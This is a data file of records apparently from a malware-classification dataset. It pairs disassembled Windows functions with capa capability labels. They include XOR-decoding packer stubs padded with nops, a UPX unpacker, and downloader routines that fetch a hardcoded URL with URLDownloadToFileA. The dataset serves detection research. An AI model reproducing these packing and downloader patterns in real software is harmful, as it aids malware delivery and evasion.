joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x405da0
Capabilities:
Check mutex on windows
Hide graphical window

Disassembly:
sub esp, 0x1c
push str.MKTBEuPD0RunBlk
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x4353b8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405de9
push 0
push 0
push 0x402
push 0x43231c
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
xor eax, eax
add esp, 0x1c
ret 0x10
push ebx
push esi
push edi
push 0x435060
mov dword [0x435060], 8
mov dword [0x435064], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0x6f
mov esi, dword [esp + 0x30]
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push 1
mov edi, eax
call fcn.0040c960
add esp, 4
mov dword [0x435338], eax
push 0
push 0x405ec0
push 0
push 0x71
push esi
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov esi, eax
push 1
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
call ebx
test eax, eax
je 0x405ea9
push ebp
mov ebp, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
lea ecx, [esp + 0x10]
push ecx
push edi
push esi
call ebp
test eax, eax
jne 0x405e97
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x405e97
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
lea edx, [esp + 0x18]
push 0
push edx
call ebx
test eax, eax
jne 0x405e64
pop ebp
push edi
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
pop edi
pop esi
mov eax, dword [esp + 0xc]
pop ebx
add esp, 0x1c
ret 0x10
Function at 0x408860
Capabilities:
Download url
Receive data

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
lea eax, [esp + 0xc]
push 0
push eax
push esi
push 0
call sub.urlmon.dll_URLOpenBlockingStreamA
test eax, eax
pop esi
jne 0x40888c
mov eax, dword [esp + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
ret 4

Function at 0x408890
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0x68
push ebx
mov ebx, dword [0x429244]
push ebp
mov ebp, dword [esp + 0x78]
push esi
push edi
mov esi, dword [ebp + 4]
test esi, esi
je 0x4088d1
mov al, byte [esi - 1]
test al, al
je 0x4088d1
cmp al, 0xff
je 0x4088d1
push 1
mov ecx, ebp
call fcn.004024e0
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
mov ecx, ebp
call fcn.00402ea0
mov eax, dword [ebp + 8]
cmp eax, ebx
jae 0x4088da
mov ebx, eax
test ebx, ebx
jbe 0x40890e
mov ecx, dword [ebp + 4]
sub eax, ebx
push eax
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.0041a7b0
mov esi, dword [ebp + 8]
add esp, 0xc
sub esi, ebx
mov ecx, ebp
push 0
push esi
call fcn.00402fe0
test al, al
je 0x40890e
mov ecx, dword [ebp + 4]
mov dword [ebp + 8], esi
mov byte [esi + ecx], 0
mov esi, dword [esp + 0x7c]
mov eax, dword [esi + 4]
test eax, eax
jne 0x40891e
mov eax, 0x429240
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov eax, dword [esi + 4]
test eax, eax
jne 0x408931
mov eax, 0x429240
push 0
lea edx, [esp + 0x14]
push 0
push edx
push eax
push 0
call sub.urlmon.dll_URLOpenBlockingStreamA
test eax, eax
jne 0x408a29
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x80]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push 0x64
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [esp + 0x80]
test eax, eax
je 0x408a13
mov ecx, dword [0x429244]
mov edi, dword [ebp + 8]
sub ecx, edi
mov esi, eax
cmp ecx, eax
ja 0x40898f
call fcn.0040ce75
test esi, esi
jbe 0x408951
mov ecx, dword [ebp + 8]
mov ebx, esi
add ebx, ecx
cmp ebx, 0xfffffffd
jbe 0x4089a4
call fcn.0040ce75
mov ecx, dword [ebp + 4]
test ecx, ecx
je 0x4089c9
mov al, byte [ecx - 1]
test al, al
je 0x4089c9
cmp al, 0xff
je 0x4089c9
test ebx, ebx
jne 0x4089e0
dec al
push ebx
mov byte [ecx - 1], al
mov ecx, ebp
call fcn.004024e0
jmp 0x408951
test ebx, ebx
jne 0x4089db
test ecx, ecx
je 0x408951
mov dword [ebp + 8], ebx
mov byte [ecx], bl
jmp 0x408951
cmp dword [ebp + 0xc], ebx
jae 0x4089e8
push ebx
mov ecx, ebp
call fcn.004034e0
mov edi, dword [ebp + 8]
mov edx, dword [ebp + 4]
mov ecx, esi
add edi, edx
mov edx, ecx
lea esi, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
mov byte [ebx + eax], 0
jmp 0x408951
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x68
ret 8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x68
ret 8
Function at 0x409080
Capabilities:
Download url
Receive data

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
mov ebp, ecx
push 0x432834
mov eax, dword [esi]
push ebx
mov ecx, esi
call dword [eax + 0xc]
mov edi, dword [esp + 0x18]
mov eax, dword [edi + 4]
test eax, eax
jne 0x4090ab
mov eax, 0x429240
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 4]
mov ecx, 0x429240
test eax, eax
je 0x4090c4
mov ecx, eax
mov eax, dword [edi + 4]
test eax, eax
jne 0x4090d0
mov eax, 0x429240
push 0
push 0
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x4090fd
cmp dword [esp + 0x20], 3
jae 0x4090f4
push str.https:__rgcorp.ucoz.net_load_0_0_0_43_20
mov ecx, ebp
call fcn.00408860
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 0x14
mov edx, dword [esi]
push 0x4327e8
push ebx
mov ecx, esi
call dword [edx + 0xc]
push 0x30
call dword [sym.imp.USER32.dll_MessageBeep]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 0x14
Function at 0x40be00
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc0c
push esi
mov esi, dword [esp + 0xc14]
push 2
push 0xffffffffffffffff
push 0xfffffffffffffffa
push esi
mov dword [esp + 0x14], 0
call fcn.0041b549
lea eax, [esp + 0x18]
push 4
push eax
push esi
call fcn.0041b353
mov eax, dword [esp + 0x24]
add esp, 0x1c
cmp eax, 0x5a49442e
je 0x40be47
xor eax, eax
pop esi
add esp, 0xc0c
ret
push edi
push 2
push 0xffffffffffffffff
push 0xfffffffffffffffe
push esi
call fcn.0041b549
lea ecx, [esp + 0x18]
push 2
push ecx
push esi
call fcn.0041b353
mov ecx, dword [esp + 0x24]
add esp, 0x1c
cmp ecx, 0xc00
mov edi, ecx
jle 0x40be7b
mov ecx, 0xc00
mov dword [esp + 8], ecx
mov eax, 0xffffffee
push 2
sub eax, ecx
cdq
push edx
push eax
push esi
call fcn.0041b549
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push edx
push eax
push esi
call fcn.0041b353
mov ecx, dword [esp + 0x24]
add esp, 0x1c
mov eax, edi
pop edi
mov byte [esp + ecx + 0xc], 0
pop esi
add esp, 0xc0c
ret

Function at 0x421841
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x434268
cmp edx, dword [eax]
je 0x421863
add eax, 8
inc ecx
cmp eax, 0x4342f8
jl 0x421854
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x434268]
jne 0x421991
mov eax, dword [0x4365ec]
cmp eax, 1
je 0x42196b
test eax, eax
jne 0x421894
cmp dword [0x433bc4], 1
je 0x42196b
cmp edx, 0xfc
je 0x421991
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4218cb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041f480
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041cb50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x42190e
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041cb50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x42ca18
push edi
call fcn.004225b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041f480
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041f490
lea eax, [ebp - 0xa0]
push 0x42c9f8
push eax
call fcn.0041f490
push dword [esi + 0x43426c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041f490
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00424965
add esp, 0x2c
pop edi
jmp 0x421991
lea eax, [ebp + 8]
lea esi, [esi + 0x43426c]
push 0
push eax
push dword [esi]
call fcn.0041cb50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x431004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x347523f5
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x401e4937
nop
nop
nop
nop
test eax, eax
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4022a0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
cmp dword [esi + 0x14], eax
mov dword [esp + 4], eax
jne 0x4022d5
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x402530
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x40577c]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.004033fb
test eax, eax
je 0x402582
cmp dword [eax + 4], 0
je 0x402568
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push edx
push ecx
push eax
call fcn.00402790
pop ecx
ret 0xc
mov ecx, dword [esp + 0x10]
mov eax, dword [eax]
push 0
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 0x14]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp]
pop ecx
ret 0xc

Function at 0x402590
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
test edi, edi
mov dword [esp + 4], eax
je 0x4025e9
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x4025e8
mov eax, dword [esp + 0x10]
mov ecx, dword [0x40577c]
push eax
push ecx
call fcn.004033fb
test eax, eax
je 0x4025e4
cmp dword [eax + 4], 0
je 0x4025d2
push esi
push edi
push eax
call fcn.004028c0
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc
Function at 0x402f8b
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
je 0x402fa3
push dword [esp + 4]
push 0x402f24
call dword [sym.imp.USER32.DLL_EnumWindows]
jmp 0x402fe0
push esi
mov esi, dword [0x40576c]
test esi, esi
je 0x402fdf
push ebx
push edi
mov ebx, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x402fd7
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
push edi
push 0x40576c
call fcn.0040359a
pop ecx
pop ecx
test ebx, ebx
mov esi, ebx
jne 0x402fb0
pop edi
pop ebx
pop esi
ret 4

Function at 0x403011
Capabilities:
Check if file exists
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x248
push esi
or esi, 0xffffffff
test eax, eax
push edi
mov edi, esi
je 0x403122
cmp byte [eax], 0
je 0x403122
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp eax, 2
lea ecx, [ebp + eax - 0x109]
je 0x40306b
cmp eax, 3
jne 0x4030a8
cmp byte [ebp - 0x107], 0x3a
jne 0x4030a8
cmp eax, 2
jne 0x40308c
lea eax, [ebp - 0x108]
push 0x404014
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x403122
jmp 0x40311c
mov byte [ecx], 0
dec ecx
cmp byte [ecx], 0x5c
je 0x4030a4
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4030f4
test byte [ebp - 0x248], 0x10
je 0x4030d7
push 0xfffffffffffffffe
pop edi
or esi, 0xffffffff
jmp 0x4030eb
mov ecx, dword [ebp - 0x228]
mov esi, dword [ebp - 0x22c]
xor edi, edi
xor edx, edx
or edi, ecx
or esi, edx
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x403122
cmp byte [ebp - 0x108], 0x5c
jne 0x403122
cmp byte [ebp - 0x107], 0x5c
jne 0x403122
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403122
test al, 0x10
je 0x403122
push 0xfffffffffffffffe
or esi, 0xffffffff
pop edi
mov eax, edi
pop edi
mov edx, esi
pop esi
leave
ret 4

Function at 0x40312c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x40319f
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x403181
lea ecx, [eax - 1]
mov dl, byte [ecx]
cmp dl, 0x20
je 0x40317f
cmp dl, 0x5c
je 0x40317f
cmp dl, 0x2f
jne 0x40318b
mov eax, ecx
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x40316b
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x4031a1
xor eax, eax
leave
ret 4
Function at 0x40324c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
cmp dword [0x405770], ebx
jne 0x40327a
push fcn.00403219
push 0x10
push 0x148
call fcn.0040345c
mov dword [0x405770], eax
mov esi, dword [ebp + 0xc]
cmp esi, ebx
jne 0x403286
mov esi, section..rdata
push 0x104
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strncpy
push esi
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp eax, ebx
je 0x4032c2
cmp byte [eax + esi - 1], 0x5c
je 0x4032c2
lea eax, [ebp - 0x108]
push 0x404014
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [ebp + 0x10]
cmp eax, ebx
je 0x4032cd
cmp byte [eax], bl
jne 0x4032d2
mov eax, 0x404018
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push dword [ebp + 8]
push dword [0x405770]
call fcn.00403397
mov esi, eax
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x40330e
mov dword [esi + 4], ebx
jmp 0x403320
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x403324
mov dword [esi + 4], 1
mov edi, esi
jmp 0x403338
cmp dword [ebp + 8], 0xffffffff
jne 0x403336
push esi
push dword [0x405770]
call fcn.00403426
mov dword [esi], ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x403386
Capabilities:
Set file attributes

Disassembly:
xor eax, eax
cmp dword [esp + 4], eax
je 0x403394
jmp dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 8
Function at 0x40cb2f
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x1505
jmp 0x40cb50
lea eax, [ecx - 0x61]
cmp eax, 0x19
ja 0x40cb48
and ecx, 0xffffffdf
imul edx, edx, 0x21
xor edx, ecx
add esi, 2
movzx ecx, word [esi]
test ecx, ecx
jne 0x40cb3d
mov eax, dword [ebp + 0x10]
movzx ecx, dl
mov edx, ecx
shr edx, 5
mov dword [eax], edx
mov eax, dword [ebp + 0x14]
xor edx, edx
and ecx, 0x1f
inc edx
shl edx, cl
pop esi
mov dword [eax], edx
pop ebp
ret 0x10

Function at 0x4060b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004021ba
and dword [ebp - 4], 0
cmp dword [0x40b654], 0
mov ebx, eax
jne 0x406167
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406218
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406218
push eax
call fcn.00402148
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b654], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b658], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b65c], eax
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b664], eax
test eax, eax
je 0x406167
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b660], eax
mov eax, dword [0x40b660]
cmp eax, ebx
je 0x4061bf
cmp dword [0x40b664], ebx
je 0x4061bf
push eax
call fcn.004021c3
push dword [0x40b664]
mov esi, eax
call fcn.004021c3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061bf
test edi, edi
je 0x4061bf
call esi
test eax, eax
je 0x4061b6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061b6
test byte [ebp - 0xc], 1
jne 0x4061bf
or dword [ebp + 0x10], 0x200000
jmp 0x4061f8
mov eax, dword [0x40b658]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4061f8
mov eax, dword [0x40b65c]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b654]
call fcn.004021c3
pop ecx
test eax, eax
je 0x406218
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40621a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x69d729a8
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x52c65d03
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219